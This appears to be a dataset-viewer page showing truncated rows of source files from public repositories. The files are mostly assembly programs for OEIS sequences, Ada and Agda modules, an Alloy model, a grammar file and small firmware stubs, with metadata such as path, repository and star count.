VGATHERQPD ymm1, [ymm0 + rsi], ymm2 ; OK
VPG... |
src/ast_printers.adb | aeszter/lox-spark | 6 | 20012 | <filename>src/ast_printers.adb
package body Ast_Printers is
function Print (The_Expr : Expr'Class) return String is
V : Ast_Printer;
begin
Accept_Visitor (The_Expr, V);
return Print (V);
end Print;
function Print (V : Ast_Printer) return String is
begin
return To_String (V.Image... |
programs/oeis/130/A130716.asm | neoneye/loda | 22 | 91071 | <gh_stars>10-100
; A130716: a(0)=a(1)=a(2)=1, a(n)=0 for n>2.
; 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
trn $0,2
bin $1,$0
mov $0,$1
|
oeis/142/A142448.asm | neoneye/loda-programs | 11 | 82286 | ; A142448: Primes congruent to 40 mod 49.
; Submitted by <NAME>
; 89,383,677,971,1069,1559,1657,1951,2441,2539,2833,3323,3617,3911,4597,4793,5087,5381,5479,6067,6263,6361,6949,7243,7537,8419,8713,9007,9203,9497,9791,10477,10771,11261,12143,12241,12437,12829,13417,13613,13711,13907,14593,14887,15083,15377,15671,16063,16... |
examples/gpio/main.adb | ekoeppen/STM32_Generic_Ada_Drivers | 1 | 10883 | <reponame>ekoeppen/STM32_Generic_Ada_Drivers
with STM32GD.Board; use STM32GD.Board;
with HAL;
procedure Main is
package Button_IRQ is new HAL.Pin_IRQ (Pin => BUTTON);
begin
Init;
LED.Set;
Text_IO.Put_Line ("Hello, World!");
STM32GD.Clear_Event;
Button_IRQ.Configure_Trigger (Rising => True);
loop... |
alloy4fun_models/trashltl/models/11/2zj8uL52gvFbQSKM4.als | Kaixi26/org.alloytools.alloy | 0 | 4916 | <gh_stars>0
open main
pred id2zj8uL52gvFbQSKM4_prop12 {
always all f: File | eventually f in Trash releases f not in Trash
}
pred __repair { id2zj8uL52gvFbQSKM4_prop12 }
check __repair { id2zj8uL52gvFbQSKM4_prop12 <=> prop12o } |
src/EntityGraphQL/Grammer/EntityGraphQL.g4 | bpasham/EntityGraphQL | 0 | 6992 | <filename>src/EntityGraphQL/Grammer/EntityGraphQL.g4
grammar EntityGraphQL;
// Core building blocks
ID: [a-z_A-Z]+ [a-z_A-Z0-9-]*;
DIGIT: [0-9];
STRING_CHARS: [a-zA-Z0-9 \t`~!@#$%^&*()_+={}|\\:\"'\u005B\u005D;<>?,./-];
// identity includes keywords too
identity: ID
| 'true'
| 'false'
| 'query'
| 'mutation'
| 'su... |
part1/induction/*-assoc.agda | akiomik/plfa-solutions | 1 | 15099 | <filename>part1/induction/*-assoc.agda
module *-assoc where
import Relation.Binary.PropositionalEquality as Eq
open Eq using (_≡_; cong)
open Eq.≡-Reasoning using (begin_; _≡⟨⟩_; step-≡; _∎)
open import Data.Nat using (ℕ; zero; suc; _+_; _*_)
open import *-distrib-+ using (*-distrib-+)
-- 積の結合律 (associativity)
*-ass... |
oeis/315/A315696.asm | neoneye/loda-programs | 11 | 174676 | ; A315696: Coordination sequence Gal.5.301.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by <NAME>
; 1,6,12,17,23,27,33,38,44,50,56,62,67,73,77,83,88,94,100,106,112,117,123,127,133,138,144,150,156,162,167,173,177,183,18... |
src/firmware-tests/Platform/Motor/TurnMotorDummies.asm | pete-restall/Cluck2Sesame-Prototype | 1 | 82491 | <reponame>pete-restall/Cluck2Sesame-Prototype
#include "Platform.inc"
radix decimal
TurnMotorDummies code
global turnMotorClockwise
global turnMotorAntiClockwise
global stopMotor
global isMotorFullyTurning
turnMotorClockwise:
turnMotorAntiClockwise:
stopMotor:
return
isMotorFullyTurning:
retlw 0
end
|
stage23/lib/sleep.asm | xlatbptr/limine | 1 | 242975 | <filename>stage23/lib/sleep.asm
section .realmode
int_08_ticks_counter: dd 0
int_08_callback: dd 0
int_08_isr:
bits 16
pushf
inc dword [cs:int_08_ticks_counter]
popf
jmp far [cs:int_08_callback]
bits 32
extern getchar_internal
global _pit_sleep_and_quit_on_keypress
_pit_sleep_and_quit_o... |
src/gdb/gdb-7.11/gdb/testsuite/gdb.ada/variant_record_packed_array/foo.adb | aps337/unum-sdk | 31 | 27042 | -- Copyright 2009-2016 Free Software Foundation, Inc.
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 3 of the License, or
-- (at your option) any later version.
--
-- ... |
gcc-gcc-7_3_0-release/gcc/ada/s-atocou.ads | best08618/asylo | 7 | 12514 | <gh_stars>1-10
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- ... |
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_219.asm | ljhsiun2/medusa | 9 | 241985 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1eeed, %rsi
lea addresses_WC_ht+0x1cdbd, %rdi
nop
nop
nop
nop
nop
dec %r10
mov $21, %rcx
rep movsl
nop
nop
dec %r8
lea addresses_D_ht+0xf731, %r9
nop... |
src/sockets-os_constants.ads | glencornell/ada-socketcan | 2 | 24948 | -- MIT License
--
-- Copyright (c) 2021 <NAME> <<EMAIL>>
--
-- Permission is hereby granted, free of charge, to any person obtaining a copy
-- of this software and associated documentation files (the "Software"), to deal
-- in the Software without restriction, including without limitation the rights
-- to use, copy, mo... |
problems/096/a096.adb | melwyncarlo/ProjectEuler | 0 | 16207 | <gh_stars>0
with Ada.Text_IO;
with Ada.Integer_Text_IO;
with Ada.Characters.Handling;
-- Copyright 2021 <NAME>
procedure A096 is
use Ada.Text_IO;
use Ada.Integer_Text_IO;
use Ada.Characters.Handling;
File_Name : constant String := "problems/096/p096_sudoku.txt";
Last_Index : Nat... |
tools/aflex/src/external_file_manager.ads | svn2github/matreshka | 24 | 5564 | <filename>tools/aflex/src/external_file_manager.ads
-- Copyright (c) 1990 Regents of the University of California.
-- All rights reserved.
--
-- This software was developed by <NAME> of the Arcadia project
-- at the University of California, Irvine.
--
-- Redistribution and use in source and binary forms are permitted
... |
libsrc/gfx/narrow/drawto_callee.asm | ahjelm/z88dk | 640 | 244500 | <reponame>ahjelm/z88dk
; ----- void __CALLEE__ drawto(int x2, int y2)
IF !__CPU_INTEL__ & !__CPU_GBZ80__
SECTION code_graphics
PUBLIC drawto_callee
PUBLIC _drawto_callee
PUBLIC asm_drawto
EXTERN swapgfxbk
EXTERN __graphics_end
EXTERN Line
EXTERN plotpixel
EXTERN ... |
ex5.asm | MengmSun/80x86AssemblyExperiments | 2 | 92407 | <filename>ex5.asm
data segment
;numerr db 'no operand for operator',0dh,0ah,'$'
;synerr db 'unmatched parenthese',0dh,0ah,'$'
;oprerr db 'wrong operator',0dh,0ah,'$'
unknownerr db 'unknown input',0dh,0ah,'$'
buffer db 1024 dup(?)
data ends
stack segment para stack 'stack'
dw 64 dup(0)
st... |
programs/oeis/227/A227108.asm | neoneye/loda | 22 | 18990 | ; A227108: Denominators of harmonic mean H(n,5), n >= 0.
; 1,3,7,4,9,1,11,6,13,7,3,8,17,9,19,2,21,11,23,12,1,13,27,14,29,3,31,16,33,17,7,18,37,19,39,4,41,21,43,22,9,23,47,24,49,1,51,26,53,27,11,28,57,29,59,6,61,31,63,32,13,33,67,34,69,7,71,36,73,37,3,38,77
add $0,5
lpb $0
dif $0,5
lpe
dif $0,2
|
src/util-serialize-contexts.ads | Letractively/ada-util | 60 | 17882 | <filename>src/util-serialize-contexts.ads
-----------------------------------------------------------------------
-- util-serialize-contexts -- Contexts for serialization framework
-- Copyright (C) 2010, 2011 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");... |
examples/gl_cube/cube_demo.adb | godunko/adawebui | 2 | 28196 | <filename>examples/gl_cube/cube_demo.adb
with Ada.Numerics.Generic_Elementary_Functions;
-- with System.IO;
with Web.HTML.Canvases;
with Web.Strings;
with Web.UI.Events.Mouse.Click;
with Web.UI.GL_Widgets;
with Web.Window;
with OpenGL;
with Cube_Programs;
package body Cube_Demo is
use type OpenGL.GLfloat;
... |
agda-stdlib/src/Relation/Nullary/Implication.agda | DreamLinuxer/popl21-artifact | 5 | 3284 | <reponame>DreamLinuxer/popl21-artifact
------------------------------------------------------------------------
-- The Agda standard library
--
-- Implications of nullary relations
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Relation.Nullary.Impli... |
programs/oeis/211/A211440.asm | karttu/loda | 0 | 93064 | ; A211440: Number of ordered triples (w,x,y) with all terms in {-n,...,0,...,n} and 2w+3x+3y=0.
; 1,3,5,17,23,29,53,63,73,109,123,137,185,203,221,281,303,325,397,423,449,533,563,593,689,723,757,865,903,941,1061,1103,1145,1277,1323,1369,1513,1563,1613,1769,1823,1877,2045,2103,2161,2341,2403,2465,2657,2723,2789,2993,3063... |
src/GBA.Input.Unbuffered.ads | 98devin/ada-gba-dev | 7 | 19991 | -- Copyright (c) 2021 <NAME>
-- zlib License -- see LICENSE for details.
with GBA.Input;
use GBA.Input;
package GBA.Input.Unbuffered is
function Is_Key_Down(K : Key) return Boolean with Inline_Always;
function Are_Any_Down(F : Key_Flags) return Boolean with Inline_Always;
function Are_All_Down(F : Key_Flags)... |
source/ASPashua.applescript | doekman/Pashua-Binding-AppleScript-Library | 1 | 35 | <filename>source/ASPashua.applescript
use AppleScript version "2.4"
use scripting additions
use framework "Foundation"
global pashua_binary
global log_to_file
--| custom pashua location
on «event PASHCMPL» new_path
global pashua_path
tell application "Finder"
if not (new_path exists) then
error "New path to ... |
oeis/010/A010683.asm | neoneye/loda-programs | 11 | 173518 | ; A010683: Let S(x,y) = number of lattice paths from (0,0) to (x,y) that use the step set { (0,1), (1,0), (2,0), (3,0), ....} and never pass below y = x. Sequence gives S(n-1,n) = number of 'Schröder' trees with n+1 leaves and root of degree 2.
; Submitted by <NAME>
; 1,2,7,28,121,550,2591,12536,61921,310954,1582791,81... |
Task/Averages-Mode/Ada/averages-mode-2.ada | LaudateCorpus1/RosettaCodeData | 1 | 30148 | with Ada.Containers.Indefinite_Vectors;
package body Mode is
-- map Count to Elements
package Count_Vectors is new Ada.Containers.Indefinite_Vectors
(Element_Type => Element_Array,
Index_Type => Positive);
procedure Add (To : in out Count_Vectors.Vector; Item : Element_Type) is
use type Cou... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.